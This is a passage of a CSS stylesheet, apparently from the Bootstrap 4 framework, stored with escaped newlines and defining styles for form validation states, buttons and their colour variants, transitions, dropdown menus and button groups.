block;\n}\n\n.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {\n  background-color: #34ce57;\n}\n\n.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {\n  border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid ~ .valid-feedback,\n.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,\n.custom-file-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.invalid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #dc3545;\n}\n\n.invalid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(220, 53, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n  border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n  border-color: #dc3545;\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ .invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {\n  color: #dc3545;\n}\n\n.was-validated .form-check-input:invalid ~ .invalid-feedback,\n.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,\n.form-check-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {\n  color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {\n  background-color: #efa2a9;\n}\n\n.was-validated .custom-control-input:invalid ~ .invalid-feedback,\n.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,\n.custom-control-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {\n  background-color: #e4606d;\n}\n\n.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {\n  border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid ~ .invalid-feedback,\n.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,\n.custom-file-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n  display: flex;\n  flex-flow: row wrap;\n  align-items: center;\n}\n\n.form-inline .form-check {\n  width: 100%;\n}\n\n@media (min-width: 576px) {\n  .form-inline label {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-group {\n    display: flex;\n    flex: 0 0 auto;\n    flex-flow: row wrap;\n    align-items: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-plaintext {\n    display: inline-block;\n  }\n  .form-inline .input-group,\n  .form-inline .custom-select {\n    width: auto;\n  }\n  .form-inline .form-check {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    width: auto;\n    padding-left: 0;\n  }\n  .form-inline .form-check-input {\n    position: relative;\n    margin-top: 0;\n    margin-right: 0.25rem;\n    margin-left: 0;\n  }\n  .form-inline .custom-control {\n    align-items: center;\n    justify-content: center;\n  }\n  .form-inline .custom-control-label {\n    margin-bottom: 0;\n  }\n}\n\n.btn {\n  display: inline-block;\n  font-weight: 400;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  user-select: none;\n  border: 1px solid transparent;\n  padding: 0.375rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.5;\n  border-radius: 0.25rem;\n  transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .btn {\n    transition: none;\n  }\n}\n\n.btn:hover, .btn:focus {\n  text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.btn.disabled, .btn:disabled {\n  opacity: 0.65;\n}\n\n.btn:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {\n  background-image: none;\n}\n\na.btn.disabled,\nfieldset:disabled a.btn {\n  pointer-events: none;\n}\n\n.btn-primary {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:hover {\n  color: #fff;\n  background-color: #0069d9;\n  border-color: #0062cc;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,\n.show > .btn-primary.dropdown-toggle {\n  color: #fff;\n  background-color: #0062cc;\n  border-color: #005cbf;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-primary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-secondary {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:hover {\n  color: #fff;\n  background-color: #5a6268;\n  border-color: #545b62;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-secondary.dropdown-toggle {\n  color: #fff;\n  background-color: #545b62;\n  border-color: #4e555b;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-secondary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-success {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:hover {\n  color: #fff;\n  background-color: #218838;\n  border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,\n.show > .btn-success.dropdown-toggle {\n  color: #fff;\n  background-color: #1e7e34;\n  border-color: #1c7430;\n}\n\n.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-success.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-info {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:hover {\n  color: #fff;\n  background-color: #138496;\n  border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,\n.show > .btn-info.dropdown-toggle {\n  color: #fff;\n  background-color: #117a8b;\n  border-color: #10707f;\n}\n\n.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-info.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-warning {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:hover {\n  color: #212529;\n  background-color: #e0a800;\n  border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,\n.show > .btn-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #d39e00;\n  border-color: #c69500;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-warning.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-danger {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:hover {\n  color: #fff;\n  background-color: #c82333;\n  border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,\n.show > .btn-danger.dropdown-toggle {\n  color: #fff;\n  background-color: #bd2130;\n  border-color: #b21f2d;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-danger.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-light {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n  color: #212529;\n  background-color: #e2e6ea;\n  border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,\n.show > .btn-light.dropdown-toggle {\n  color: #212529;\n  background-color: #dae0e5;\n  border-color: #d3d9df;\n}\n\n.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-light.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-dark {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:hover {\n  color: #fff;\n  background-color: #23272b;\n  border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,\n.show > .btn-dark.dropdown-toggle {\n  color: #fff;\n  background-color: #1d2124;\n  border-color: #171a1d;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-dark.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-primary {\n  color: #007bff;\n  background-color: transparent;\n  background-image: none;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:hover {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n  color: #007bff;\n  background-color: transparent;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-primary.dropdown-toggle {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-primary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-secondary {\n  color: #6c757d;\n  background-color: transparent;\n  background-image: none;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:hover {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-secondary.dropdown-toggle {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-secondary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-success {\n  color: #28a745;\n  background-color: transparent;\n  background-image: none;\n  border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n  color: #28a745;\n  background-color: transparent;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,\n.show > .btn-outline-success.dropdown-toggle {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-success.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-info {\n  color: #17a2b8;\n  background-color: transparent;\n  background-image: none;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n  color: #17a2b8;\n  background-color: transparent;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,\n.show > .btn-outline-info.dropdown-toggle {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-info.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-warning {\n  color: #ffc107;\n  background-color: transparent;\n  background-image: none;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n  color: #ffc107;\n  background-color: transparent;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,\n.show > .btn-outline-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-warning.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-danger {\n  color: #dc3545;\n  background-color: transparent;\n  background-image: none;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n  color: #dc3545;\n  background-color: transparent;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,\n.show > .btn-outline-danger.dropdown-toggle {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-danger.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-light {\n  color: #f8f9fa;\n  background-color: transparent;\n  background-image: none;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n  color: #f8f9fa;\n  background-color: transparent;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,\n.show > .btn-outline-light.dropdown-toggle {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-light.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-dark {\n  color: #343a40;\n  background-color: transparent;\n  background-image: none;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n  color: #343a40;\n  background-color: transparent;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,\n.show > .btn-outline-dark.dropdown-toggle {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-dark.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-link {\n  font-weight: 400;\n  color: #007bff;\n  background-color: transparent;\n}\n\n.btn-link:hover {\n  color: #0056b3;\n  text-decoration: underline;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.btn-link:focus, .btn-link.focus {\n  text-decoration: underline;\n  border-color: transparent;\n  box-shadow: none;\n}\n\n.btn-link:disabled, .btn-link.disabled {\n  color: #6c757d;\n  pointer-events: none;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\n.btn-block {\n  display: block;\n  width: 100%;\n}\n\n.btn-block + .btn-block {\n  margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n\n.fade {\n  transition: opacity 0.15s linear;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .fade {\n    transition: none;\n  }\n}\n\n.fade:not(.show) {\n  opacity: 0;\n}\n\n.collapse:not(.show) {\n  display: none;\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  transition: height 0.35s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .collapsing {\n    transition: none;\n  }\n}\n\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n  position: relative;\n}\n\n.dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0;\n  border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 10rem;\n  padding: 0.5rem 0;\n  margin: 0.125rem 0 0;\n  font-size: 1rem;\n  color: #212529;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n}\n\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n\n.dropup .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-top: 0;\n  margin-bottom: 0.125rem;\n}\n\n.dropup .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0.3em solid;\n  border-left: 0.3em solid transparent;\n}\n\n.dropup .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-menu {\n  top: 0;\n  right: auto;\n  left: 100%;\n  margin-top: 0;\n  margin-left: 0.125rem;\n}\n\n.dropright .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-right: 0;\n  border-bottom: 0.3em solid transparent;\n  border-left: 0.3em solid;\n}\n\n.dropright .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n  vertical-align: 0;\n}\n\n.dropleft .dropdown-menu {\n  top: 0;\n  right: 100%;\n  left: auto;\n  margin-top: 0;\n  margin-right: 0.125rem;\n}\n\n.dropleft .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n}\n\n.dropleft .dropdown-toggle::after {\n  display: none;\n}\n\n.dropleft .dropdown-toggle::before {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-right: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-right: 0.3em solid;\n  border-bottom: 0.3em solid transparent;\n}\n\n.dropleft .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropleft .dropdown-toggle::before {\n  vertical-align: 0;\n}\n\n.dropdown-menu[x-placement^=\"top\"], .dropdown-menu[x-placement^=\"right\"], .dropdown-menu[x-placement^=\"bottom\"], .dropdown-menu[x-placement^=\"left\"] {\n  right: auto;\n  bottom: auto;\n}\n\n.dropdown-divider {\n  height: 0;\n  margin: 0.5rem 0;\n  overflow: hidden;\n  border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n  display: block;\n  width: 100%;\n  padding: 0.25rem 1.5rem;\n  clear: both;\n  font-weight: 400;\n  color: #212529;\n  text-align: inherit;\n  white-space: nowrap;\n  background-color: transparent;\n  border: 0;\n}\n\n.dropdown-item:hover, .dropdown-item:focus {\n  color: #16181b;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n  color: #fff;\n  text-decoration: none;\n  background-color: #007bff;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.dropdown-menu.show {\n  display: block;\n}\n\n.dropdown-header {\n  display: block;\n  padding: 0.5rem 1.5rem;\n  margin-bottom: 0;\n  font-size: 0.875rem;\n  color: #6c757d;\n  white-space: nowrap;\n}\n\n.dropdown-item-text {\n  display: block;\n  padding: 0.25rem 1.5rem;\n  color: #212529;\n}\n\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-flex;\n  vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  flex: 0 1 auto;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n  z-index: 1;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n  z-index: 1;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + .btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n  margin-left: -1px;\n}\n\n.btn-toolbar {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n  width: auto;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n\n.btn-group > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:not(:first-child),\n.btn-group > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.dropdown-toggle-split {\n  padding-right: 0.5625rem;\n  padding-left: 0.5625rem;\n}\n\n.dropdown-toggle-split::after,\n.dropup .dropdown-toggle-split::after,\n.dropright .dropdown-toggle-split::after {\n  margin-left: 0;\n}\n\n.dropleft .dropdown-toggle-split::before {\n  margin-right: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n  padding-right: 0.375rem;\n  padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n  padding-right: 0.75rem;\n  padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n  flex-direction: column;\n  align-items: flex-start;\n  justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n  width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group-vertical > 